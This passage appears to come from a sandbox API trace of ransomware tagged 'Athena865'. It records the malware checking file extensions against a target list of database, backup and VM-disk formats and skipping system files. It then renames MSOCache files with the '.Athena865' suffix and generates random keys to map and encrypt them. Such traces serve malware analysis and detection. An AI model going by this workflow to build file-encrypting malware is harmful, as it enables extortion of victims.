(lpString="cma") returned 3 [0056.362] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1 [0056.362] lstrlenW (lpString="cpd") returned 3 [0056.362] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1 [0056.362] lstrlenW (lpString="dacpac") returned 6 [0056.362] lstrcmpiW (lpString1="ng.msi", lpString2="dacpac") returned 1 [0056.362] lstrlenW (lpString="dad") returned 3 [0056.362] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1 [0056.362] lstrlenW (lpString="dadiagrams") returned 10 [0056.362] lstrcmpiW (lpString1="oofing.msi", lpString2="dadiagrams") returned 1 [0056.362] lstrlenW (lpString="daschema") returned 8 [0056.362] lstrcmpiW (lpString1="fing.msi", lpString2="daschema") returned 1 [0056.362] lstrlenW (lpString="db-journal") returned 10 [0056.362] lstrcmpiW (lpString1="oofing.msi", lpString2="db-journal") returned 1 [0056.362] lstrlenW (lpString="db-shm") returned 6 [0056.362] lstrcmpiW (lpString1="ng.msi", lpString2="db-shm") returned 1 [0056.362] lstrlenW (lpString="db-wal") returned 6 [0056.362] lstrcmpiW (lpString1="ng.msi", lpString2="db-wal") returned 1 [0056.362] lstrlenW (lpString="dbc") returned 3 [0056.362] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1 [0056.362] lstrlenW (lpString="dbs") returned 3 [0056.362] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1 [0056.362] lstrlenW (lpString="dbt") returned 3 [0056.362] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1 [0056.363] lstrlenW (lpString="dbv") returned 3 [0056.363] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1 [0056.363] lstrlenW (lpString="dbx") returned 3 [0056.363] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1 [0056.363] lstrlenW (lpString="dcb") returned 3 [0056.363] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1 [0056.363] lstrlenW (lpString="dct") returned 3 [0056.363] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1 [0056.363] lstrlenW (lpString="dcx") returned 3 [0056.363] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1 [0056.363] lstrlenW (lpString="ddl") returned 3 [0056.363] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1 [0056.363] lstrlenW (lpString="dlis") returned 4 [0056.363] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1 [0056.363] lstrlenW (lpString="dp1") returned 3 [0056.363] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1 [0056.363] lstrlenW (lpString="dqy") returned 3 [0056.363] lstrcmpiW (lpString1="msi", lpString2="dqy") returned 1 [0056.363] lstrlenW (lpString="dsk") returned 3 [0056.363] lstrcmpiW (lpString1="msi", lpString2="dsk") returned 1 [0056.363] lstrlenW (lpString="dsn") returned 3 [0056.363] lstrcmpiW (lpString1="msi", lpString2="dsn") returned 1 [0056.363] lstrlenW (lpString="dtsx") returned 4 [0056.363] lstrcmpiW (lpString1=".msi", lpString2="dtsx") returned -1 [0056.363] lstrlenW (lpString="dxl") returned 3 [0056.363] lstrcmpiW (lpString1="msi", lpString2="dxl") returned 1 [0056.363] lstrlenW (lpString="eco") returned 3 [0056.363] lstrcmpiW (lpString1="msi", lpString2="eco") returned 1 [0056.363] lstrlenW (lpString="ecx") returned 3 [0056.363] lstrcmpiW (lpString1="msi", lpString2="ecx") returned 1 [0056.363] lstrlenW (lpString="edb") returned 3 [0056.363] lstrcmpiW (lpString1="msi", lpString2="edb") returned 1 [0056.363] lstrlenW (lpString="epim") returned 4 [0056.363] lstrcmpiW (lpString1=".msi", lpString2="epim") returned -1 [0056.364] lstrlenW (lpString="fcd") returned 3 [0056.364] lstrcmpiW (lpString1="msi", lpString2="fcd") returned 1 [0056.364] lstrlenW (lpString="fdb") returned 3 [0056.364] lstrcmpiW (lpString1="msi", lpString2="fdb") returned 1 [0056.364] lstrlenW (lpString="fic") returned 3 [0056.364] lstrcmpiW (lpString1="msi", lpString2="fic") returned 1 [0056.364] lstrlenW (lpString="flexolibrary") returned 12 [0056.364] lstrlenW (lpString="fm5") returned 3 [0056.364] lstrcmpiW (lpString1="msi", lpString2="fm5") returned 1 [0056.364] lstrlenW (lpString="fmp") returned 3 [0056.364] lstrcmpiW (lpString1="msi", lpString2="fmp") returned 1 [0056.364] lstrlenW (lpString="fmp12") returned 5 [0056.364] lstrcmpiW (lpString1="g.msi", lpString2="fmp12") returned 1 [0056.364] lstrlenW (lpString="fmpsl") returned 5 [0056.364] lstrcmpiW (lpString1="g.msi", lpString2="fmpsl") returned 1 [0056.364] lstrlenW (lpString="fol") returned 3 [0056.364] lstrcmpiW (lpString1="msi", lpString2="fol") returned 1 [0056.364] lstrlenW (lpString="fp3") returned 3 [0056.364] lstrcmpiW (lpString1="msi", lpString2="fp3") returned 1 [0056.364] lstrlenW (lpString="fp4") returned 3 [0056.364] lstrcmpiW (lpString1="msi", lpString2="fp4") returned 1 [0056.364] lstrlenW (lpString="fp5") returned 3 [0056.364] lstrcmpiW (lpString1="msi", lpString2="fp5") returned 1 [0056.364] lstrlenW (lpString="fp7") returned 3 [0056.364] lstrcmpiW (lpString1="msi", lpString2="fp7") returned 1 [0056.364] lstrlenW (lpString="fpt") returned 3 [0056.364] lstrcmpiW (lpString1="msi", lpString2="fpt") returned 1 [0056.364] lstrlenW (lpString="frm") returned 3 [0056.364] lstrcmpiW (lpString1="msi", lpString2="frm") returned 1 [0056.364] lstrlenW (lpString="gdb") returned 3 [0056.364] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1 [0056.364] lstrlenW (lpString="gdb") returned 3 [0056.364] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1 [0056.364] lstrlenW (lpString="grdb") returned 4 [0056.365] lstrcmpiW (lpString1=".msi", lpString2="grdb") returned -1 [0056.365] lstrlenW (lpString="gwi") returned 3 [0056.365] lstrcmpiW (lpString1="msi", lpString2="gwi") returned 1 [0056.365] lstrlenW (lpString="hdb") returned 3 [0056.365] lstrcmpiW (lpString1="msi", lpString2="hdb") returned 1 [0056.365] lstrlenW (lpString="his") returned 3 [0056.365] lstrcmpiW (lpString1="msi", lpString2="his") returned 1 [0056.366] lstrlenW (lpString="ib") returned 2 [0056.366] lstrcmpiW (lpString1="si", lpString2="ib") returned 1 [0056.368] lstrlenW (lpString="idb") returned 3 [0056.368] lstrcmpiW (lpString1="msi", lpString2="idb") returned 1 [0056.368] lstrlenW (lpString="ihx") returned 3 [0056.368] lstrcmpiW (lpString1="msi", lpString2="ihx") returned 1 [0056.368] lstrlenW (lpString="itdb") returned 4 [0056.368] lstrcmpiW (lpString1=".msi", lpString2="itdb") returned -1 [0056.368] lstrlenW (lpString="itw") returned 3 [0056.368] lstrcmpiW (lpString1="msi", lpString2="itw") returned 1 [0056.368] lstrlenW (lpString="jet") returned 3 [0056.368] lstrcmpiW (lpString1="msi", lpString2="jet") returned 1 [0056.368] lstrlenW (lpString="jtx") returned 3 [0056.368] lstrcmpiW (lpString1="msi", lpString2="jtx") returned 1 [0056.368] lstrlenW (lpString="kdb") returned 3 [0056.368] lstrcmpiW (lpString1="msi", lpString2="kdb") returned 1 [0056.368] lstrlenW (lpString="kexi") returned 4 [0056.368] lstrcmpiW (lpString1=".msi", lpString2="kexi") returned -1 [0056.368] lstrlenW (lpString="kexic") returned 5 [0056.368] lstrcmpiW (lpString1="g.msi", lpString2="kexic") returned -1 [0056.368] lstrlenW (lpString="kexis") returned 5 [0056.368] lstrcmpiW (lpString1="g.msi", lpString2="kexis") returned -1 [0056.368] lstrlenW (lpString="lgc") returned 3 [0056.368] lstrcmpiW (lpString1="msi", lpString2="lgc") returned 1 [0056.368] lstrlenW (lpString="lwx") returned 3 [0056.368] lstrcmpiW (lpString1="msi", lpString2="lwx") returned 1 [0056.369] lstrlenW (lpString="maf") returned 3 [0056.369] lstrcmpiW (lpString1="msi", lpString2="maf") returned 1 [0056.369] lstrlenW (lpString="maq") returned 3 [0056.369] lstrcmpiW (lpString1="msi", lpString2="maq") returned 1 [0056.369] lstrlenW (lpString="mar") returned 3 [0056.369] lstrcmpiW (lpString1="msi", lpString2="mar") returned 1 [0056.369] lstrlenW (lpString="marshal") returned 7 [0056.369] lstrcmpiW (lpString1="ing.msi", lpString2="marshal") returned -1 [0056.369] lstrlenW (lpString="mas") returned 3 [0056.369] lstrcmpiW (lpString1="msi", lpString2="mas") returned 1 [0056.369] lstrlenW (lpString="mav") returned 3 [0056.369] lstrcmpiW (lpString1="msi", lpString2="mav") returned 1 [0056.369] lstrlenW (lpString="maw") returned 3 [0056.369] lstrcmpiW (lpString1="msi", lpString2="maw") returned 1 [0056.369] lstrlenW (lpString="mdbhtml") returned 7 [0056.369] lstrcmpiW (lpString1="ing.msi", lpString2="mdbhtml") returned -1 [0056.369] lstrlenW (lpString="mdn") returned 3 [0056.369] lstrcmpiW (lpString1="msi", lpString2="mdn") returned 1 [0056.369] lstrlenW (lpString="mdt") returned 3 [0056.369] lstrcmpiW (lpString1="msi", lpString2="mdt") returned 1 [0056.369] lstrlenW (lpString="mfd") returned 3 [0056.369] lstrcmpiW (lpString1="msi", lpString2="mfd") returned 1 [0056.369] lstrlenW (lpString="mpd") returned 3 [0056.369] lstrcmpiW (lpString1="msi", lpString2="mpd") returned 1 [0056.369] lstrlenW (lpString="mrg") returned 3 [0056.369] lstrcmpiW (lpString1="msi", lpString2="mrg") returned 1 [0056.369] lstrlenW (lpString="mud") returned 3 [0056.369] lstrcmpiW (lpString1="msi", lpString2="mud") returned -1 [0056.369] lstrlenW (lpString="mwb") returned 3 [0056.369] lstrcmpiW (lpString1="msi", lpString2="mwb") returned -1 [0056.369] lstrlenW (lpString="myd") returned 3 [0056.369] lstrcmpiW (lpString1="msi", lpString2="myd") returned -1 [0056.369] lstrlenW (lpString="ndf") returned 3 [0056.370] lstrcmpiW (lpString1="msi", lpString2="ndf") returned -1 [0056.370] lstrlenW (lpString="nnt") returned 3 [0056.370] lstrcmpiW (lpString1="msi", lpString2="nnt") returned -1 [0056.370] lstrlenW (lpString="nrmlib") returned 6 [0056.370] lstrcmpiW (lpString1="ng.msi", lpString2="nrmlib") returned -1 [0056.370] lstrlenW (lpString="ns2") returned 3 [0056.370] lstrcmpiW (lpString1="msi", lpString2="ns2") returned -1 [0056.370] lstrlenW (lpString="ns3") returned 3 [0056.370] lstrcmpiW (lpString1="msi", lpString2="ns3") returned -1 [0056.370] lstrlenW (lpString="ns4") returned 3 [0056.370] lstrcmpiW (lpString1="msi", lpString2="ns4") returned -1 [0056.370] lstrlenW (lpString="nsf") returned 3 [0056.370] lstrcmpiW (lpString1="msi", lpString2="nsf") returned -1 [0056.370] lstrlenW (lpString="nv") returned 2 [0056.370] lstrcmpiW (lpString1="si", lpString2="nv") returned 1 [0056.370] lstrlenW (lpString="nv2") returned 3 [0056.370] lstrcmpiW (lpString1="msi", lpString2="nv2") returned -1 [0056.370] lstrlenW (lpString="nwdb") returned 4 [0056.370] lstrcmpiW (lpString1=".msi", lpString2="nwdb") returned -1 [0056.370] lstrlenW (lpString="nyf") returned 3 [0056.370] lstrcmpiW (lpString1="msi", lpString2="nyf") returned -1 [0056.370] lstrlenW (lpString="odb") returned 3 [0056.370] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1 [0056.370] lstrlenW (lpString="odb") returned 3 [0056.370] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1 [0056.370] lstrlenW (lpString="oqy") returned 3 [0056.370] lstrcmpiW (lpString1="msi", lpString2="oqy") returned -1 [0056.370] lstrlenW (lpString="ora") returned 3 [0056.370] lstrcmpiW (lpString1="msi", lpString2="ora") returned -1 [0056.370] lstrlenW (lpString="orx") returned 3 [0056.370] lstrcmpiW (lpString1="msi", lpString2="orx") returned -1 [0056.370] lstrlenW (lpString="owc") returned 3 [0056.370] lstrcmpiW (lpString1="msi", lpString2="owc") returned -1 [0056.371] lstrlenW (lpString="p96") returned 3 [0056.371] lstrcmpiW (lpString1="msi", lpString2="p96") returned -1 [0056.371] lstrlenW (lpString="p97") returned 3 [0056.371] lstrcmpiW (lpString1="msi", lpString2="p97") returned -1 [0056.371] lstrlenW (lpString="pan") returned 3 [0056.371] lstrcmpiW (lpString1="msi", lpString2="pan") returned -1 [0056.371] lstrlenW (lpString="pdb") returned 3 [0056.371] lstrcmpiW (lpString1="msi", lpString2="pdb") returned -1 [0056.371] lstrlenW (lpString="pdm") returned 3 [0056.371] lstrcmpiW (lpString1="msi", lpString2="pdm") returned -1 [0056.371] lstrlenW (lpString="pnz") returned 3 [0056.371] lstrcmpiW (lpString1="msi", lpString2="pnz") returned -1 [0056.371] lstrlenW (lpString="qry") returned 3 [0056.371] lstrcmpiW (lpString1="msi", lpString2="qry") returned -1 [0056.371] lstrlenW (lpString="qvd") returned 3 [0056.371] lstrcmpiW (lpString1="msi", lpString2="qvd") returned -1 [0056.371] lstrlenW (lpString="rbf") returned 3 [0056.371] lstrcmpiW (lpString1="msi", lpString2="rbf") returned -1 [0056.371] lstrlenW (lpString="rctd") returned 4 [0056.371] lstrcmpiW (lpString1=".msi", lpString2="rctd") returned -1 [0056.371] lstrlenW (lpString="rod") returned 3 [0056.371] lstrcmpiW (lpString1="msi", lpString2="rod") returned -1 [0056.371] lstrlenW (lpString="rodx") returned 4 [0056.371] lstrcmpiW (lpString1=".msi", lpString2="rodx") returned -1 [0056.371] lstrlenW (lpString="rpd") returned 3 [0056.371] lstrcmpiW (lpString1="msi", lpString2="rpd") returned -1 [0056.371] lstrlenW (lpString="rsd") returned 3 [0056.371] lstrcmpiW (lpString1="msi", lpString2="rsd") returned -1 [0056.371] lstrlenW (lpString="sas7bdat") returned 8 [0056.371] lstrcmpiW (lpString1="fing.msi", lpString2="sas7bdat") returned -1 [0056.371] lstrlenW (lpString="sbf") returned 3 [0056.371] lstrcmpiW (lpString1="msi", lpString2="sbf") returned -1 [0056.371] lstrlenW (lpString="scx") returned 3 [0056.372] lstrcmpiW (lpString1="msi", lpString2="scx") returned -1 [0056.372] lstrlenW (lpString="sdb") returned 3 [0056.372] lstrcmpiW (lpString1="msi", lpString2="sdb") returned -1 [0056.372] lstrlenW (lpString="sdc") returned 3 [0056.372] lstrcmpiW (lpString1="msi", lpString2="sdc") returned -1 [0056.372] lstrlenW (lpString="sdf") returned 3 [0056.372] lstrcmpiW (lpString1="msi", lpString2="sdf") returned -1 [0056.372] lstrlenW (lpString="sis") returned 3 [0056.372] lstrcmpiW (lpString1="msi", lpString2="sis") returned -1 [0056.372] lstrlenW (lpString="spq") returned 3 [0056.372] lstrcmpiW (lpString1="msi", lpString2="spq") returned -1 [0056.372] lstrlenW (lpString="te") returned 2 [0056.372] lstrcmpiW (lpString1="si", lpString2="te") returned -1 [0056.372] lstrlenW (lpString="teacher") returned 7 [0056.372] lstrcmpiW (lpString1="ing.msi", lpString2="teacher") returned -1 [0056.372] lstrlenW (lpString="tmd") returned 3 [0056.372] lstrcmpiW (lpString1="msi", lpString2="tmd") returned -1 [0056.372] lstrlenW (lpString="tps") returned 3 [0056.372] lstrcmpiW (lpString1="msi", lpString2="tps") returned -1 [0056.372] lstrlenW (lpString="trc") returned 3 [0056.372] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1 [0056.372] lstrlenW (lpString="trc") returned 3 [0056.372] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1 [0056.372] lstrlenW (lpString="trm") returned 3 [0056.372] lstrcmpiW (lpString1="msi", lpString2="trm") returned -1 [0056.372] lstrlenW (lpString="udb") returned 3 [0056.372] lstrcmpiW (lpString1="msi", lpString2="udb") returned -1 [0056.372] lstrlenW (lpString="udl") returned 3 [0056.372] lstrcmpiW (lpString1="msi", lpString2="udl") returned -1 [0056.372] lstrlenW (lpString="usr") returned 3 [0056.372] lstrcmpiW (lpString1="msi", lpString2="usr") returned -1 [0056.372] lstrlenW (lpString="v12") returned 3 [0056.372] lstrcmpiW (lpString1="msi", lpString2="v12") returned -1 [0056.372] lstrlenW (lpString="vis") returned 3 [0056.373] lstrcmpiW (lpString1="msi", lpString2="vis") returned -1 [0056.373] lstrlenW (lpString="vpd") returned 3 [0056.373] lstrcmpiW (lpString1="msi", lpString2="vpd") returned -1 [0056.373] lstrlenW (lpString="vvv") returned 3 [0056.373] lstrcmpiW (lpString1="msi", lpString2="vvv") returned -1 [0056.373] lstrlenW (lpString="wdb") returned 3 [0056.373] lstrcmpiW (lpString1="msi", lpString2="wdb") returned -1 [0056.373] lstrlenW (lpString="wmdb") returned 4 [0056.373] lstrcmpiW (lpString1=".msi", lpString2="wmdb") returned -1 [0056.373] lstrlenW (lpString="wrk") returned 3 [0056.373] lstrcmpiW (lpString1="msi", lpString2="wrk") returned -1 [0056.373] lstrlenW (lpString="xdb") returned 3 [0056.373] lstrcmpiW (lpString1="msi", lpString2="xdb") returned -1 [0056.373] lstrlenW (lpString="xld") returned 3 [0056.373] lstrcmpiW (lpString1="msi", lpString2="xld") returned -1 [0056.373] lstrlenW (lpString="xmlff") returned 5 [0056.373] lstrcmpiW (lpString1="g.msi", lpString2="xmlff") returned -1 [0056.373] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.Athena865") returned 85 [0056.373] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.athena865"), dwFlags=0x1) returned 1 [0056.374] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0056.374] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=868864) returned 1 [0056.374] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0056.374] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0056.374] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518a30 [0056.374] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5189a8) returned 1 [0056.375] CryptGenRandom (in: hProv=0x5189a8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0056.375] CryptReleaseContext (hProv=0x5189a8, dwFlags=0x0) returned 1 [0056.375] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd4500, lpName=0x0) returned 0x17c [0056.377] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd4500) returned 0x2d50000 [0056.416] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5189a8) returned 1 [0056.417] CryptGenRandom (in: hProv=0x5189a8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0056.417] CryptReleaseContext (hProv=0x5189a8, dwFlags=0x0) returned 1 [0056.417] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0056.417] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0056.417] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0056.417] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0056.417] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0056.417] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0056.417] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0056.417] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0056.417] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0056.417] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0056.417] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0056.425] CloseHandle (hObject=0x17c) returned 1 [0056.425] CloseHandle (hObject=0x154) returned 1 [0056.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0056.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518a30 | out: hHeap=0x4f0000) returned 1 [0056.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0056.428] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proofing.xml", cAlternateFileName="")) returned 1 [0056.429] lstrcmpiW (lpString1="Proofing.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0056.429] lstrcmpiW (lpString1="Proofing.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0056.429] lstrcmpiW (lpString1="Proofing.xml", lpString2=".") returned 1 [0056.429] lstrcmpiW (lpString1="Proofing.xml", lpString2="..") returned 1 [0056.429] lstrcmpiW (lpString1="Proofing.xml", lpString2="windows") returned -1 [0056.429] lstrcmpiW (lpString1="Proofing.xml", lpString2="bootmgr") returned 1 [0056.429] lstrcmpiW (lpString1="Proofing.xml", lpString2="temp") returned -1 [0056.429] lstrcmpiW (lpString1="Proofing.xml", lpString2="pagefile.sys") returned 1 [0056.429] lstrcmpiW (lpString1="Proofing.xml", lpString2="boot") returned 1 [0056.429] lstrcmpiW (lpString1="Proofing.xml", lpString2="ids.txt") returned 1 [0056.429] lstrcmpiW (lpString1="Proofing.xml", lpString2="ntuser.dat") returned 1 [0056.429] lstrcmpiW (lpString1="Proofing.xml", lpString2="perflogs") returned 1 [0056.429] lstrcmpiW (lpString1="Proofing.xml", lpString2="MSBuild") returned 1 [0056.429] lstrlenW (lpString="Proofing.xml") returned 12 [0056.429] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Proofing.xml" | out: lpString1="Proofing.xml") returned="Proofing.xml" [0056.429] lstrlenW (lpString="Proofing.xml") returned 12 [0056.429] lstrlenW (lpString="Athena865") returned 9 [0056.429] lstrcmpiW (lpString1="ofing.xml", lpString2="Athena865") returned 1 [0056.429] lstrlenW (lpString=".dll") returned 4 [0056.429] lstrcmpiW (lpString1="Proofing.xml", lpString2=".dll") returned 1 [0056.429] lstrlenW (lpString=".lnk") returned 4 [0056.429] lstrcmpiW (lpString1="Proofing.xml", lpString2=".lnk") returned 1 [0056.429] lstrlenW (lpString=".ini") returned 4 [0056.429] lstrcmpiW (lpString1="Proofing.xml", lpString2=".ini") returned 1 [0056.429] lstrlenW (lpString=".sys") returned 4 [0056.429] lstrcmpiW (lpString1="Proofing.xml", lpString2=".sys") returned 1 [0056.429] lstrlenW (lpString="Proofing.xml") returned 12 [0056.429] lstrlenW (lpString="bak") returned 3 [0056.429] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0056.429] lstrlenW (lpString="ba_") returned 3 [0056.429] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0056.429] lstrlenW (lpString="dbb") returned 3 [0056.430] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0056.430] lstrlenW (lpString="vmdk") returned 4 [0056.430] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0056.430] lstrlenW (lpString="rar") returned 3 [0056.430] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0056.430] lstrlenW (lpString="zip") returned 3 [0056.430] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0056.430] lstrlenW (lpString="tgz") returned 3 [0056.430] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0056.430] lstrlenW (lpString="vbox") returned 4 [0056.430] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0056.430] lstrlenW (lpString="vdi") returned 3 [0056.430] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0056.430] lstrlenW (lpString="vhd") returned 3 [0056.430] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0056.430] lstrlenW (lpString="vhdx") returned 4 [0056.430] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0056.430] lstrlenW (lpString="avhd") returned 4 [0056.430] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0056.430] lstrlenW (lpString="db") returned 2 [0056.430] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0056.430] lstrlenW (lpString="db2") returned 3 [0056.430] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0056.430] lstrlenW (lpString="db3") returned 3 [0056.430] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0056.430] lstrlenW (lpString="dbf") returned 3 [0056.430] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0056.430] lstrlenW (lpString="mdf") returned 3 [0056.430] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0056.430] lstrlenW (lpString="mdb") returned 3 [0056.430] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0056.430] lstrlenW (lpString="sql") returned 3 [0056.430] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0056.431] lstrlenW (lpString="sqlite") returned 6 [0056.431] lstrcmpiW (lpString1="ng.xml", lpString2="sqlite") returned -1 [0056.431] lstrlenW (lpString="sqlite3") returned 7 [0056.431] lstrcmpiW (lpString1="ing.xml", lpString2="sqlite3") returned -1 [0056.431] lstrlenW (lpString="sqlitedb") returned 8 [0056.431] lstrcmpiW (lpString1="fing.xml", lpString2="sqlitedb") returned -1 [0056.431] lstrlenW (lpString="xml") returned 3 [0056.431] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0056.431] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.Athena865") returned 85 [0056.431] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.athena865"), dwFlags=0x1) returned 1 [0056.431] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0056.432] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=811) returned 1 [0056.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0056.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0056.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518a30 [0056.432] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5189a8) returned 1 [0056.433] CryptGenRandom (in: hProv=0x5189a8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0056.433] CryptReleaseContext (hProv=0x5189a8, dwFlags=0x0) returned 1 [0056.433] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, 